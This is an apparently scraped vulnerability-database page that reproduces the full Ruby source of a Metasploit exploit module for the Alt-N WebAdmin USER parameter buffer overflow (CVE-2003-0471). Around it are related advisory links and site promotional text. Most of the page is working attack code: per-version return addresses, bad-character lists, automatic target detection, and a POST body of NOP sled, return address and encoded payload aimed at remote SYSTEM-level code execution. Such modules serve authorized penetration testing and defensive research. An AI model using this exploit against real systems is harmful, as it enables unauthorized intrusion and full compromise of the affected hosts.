Lucene search
+L

Alt-N WebAdmin USER Buffer Overflow

🗓️ 17 Jan 2006 01:11:10Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

Alt-N WebAdmin USER Buffer Overflow results in code execution with SYSTEM level privileges due to insufficient bounds checking on the USER paramete

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2003-0471
15 Feb 201000:00
circl
checkpoint_advisories
Check Point Advisories
AltN WebAdmin USER Buffer Overflow - Ver2 (CVE-2003-0471)
28 Dec 201400:00
checkpoint_advisories
cve
CVE
CVE-2003-0471
28 Jun 200304:00
cve
cvelist
Cvelist
CVE-2003-0471
28 Jun 200304:00
cvelist
exploitdb
Exploit DB
Alt-N WebAdmin 2.0.4 - USER Buffer Overflow (Metasploit)
11 Sep 200500:00
exploitdb
exploitdb
Exploit DB
Alt-N WebAdmin - USER Buffer Overflow (Metasploit)
15 Feb 201000:00
exploitdb
exploitdb
Exploit DB
Alt-N WebAdmin 2.0.x - 'USER' Remote Buffer Overflow (1)
24 Jun 200300:00
exploitdb
exploitdb
Exploit DB
Alt-N WebAdmin 2.0.x - 'USER' Remote Buffer Overflow (2)
24 Jun 200300:00
exploitdb
nvd
NVD
CVE-2003-0471
7 Aug 200304:00
nvd
openvas
OpenVAS
webadmin.dll detection
3 Nov 200500:00
openvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Alt-N WebAdmin USER Buffer Overflow',
      'Description'    => %q{
        Alt-N WebAdmin is prone to a buffer overflow condition. This
        is due to insufficient bounds checking on the USER
        parameter. Successful exploitation could result in code
        execution with SYSTEM level privileges.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2003-0471' ],
          [ 'OSVDB', '2207' ],
          [ 'BID', '8024'],
          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=11771']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 830,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Automatic', {}],
          ['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
          ['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
          ['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
          ['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2003-06-24'))

      register_options([Opt::RPORT(1000)])
  end

  def exploit

    mytarget = target

    if (target.name =~ /Automatic/)
      res = send_request_raw({
        'uri'   => '/WebAdmin.DLL'
      }, -1)

      if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
        case $1
        when /2\.0\.4/
          mytarget = targets[1]
        when /2\.0\.3/
          mytarget = targets[2]
        when /2\.0\.2/
          mytarget = targets[3]
        when /2\.0\.1/
          mytarget = targets[4]
        else
          print_error("No target found for v#{$1}")
          return
        end
      else
        print_error("No target found")
      end
    end

    user_cook = rand_text_alphanumeric(2)
    post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
    post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'

    print_status("Sending request...")
    res = send_request_cgi({
      'uri'          => '/WebAdmin.DLL',
      'query'        => 'View=Logon',
      'method'       => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'cookie'       => "User=#{user_cook}; Lang=en; Theme=standard",
      'data'         => post_data,
      'headers'      =>
      {
        'Accept'          => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
        'Accept-Language' => 'en',
        'Accept-Charset'  => 'iso-8859-1,*,utf-8'
      }
    }, 5)

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation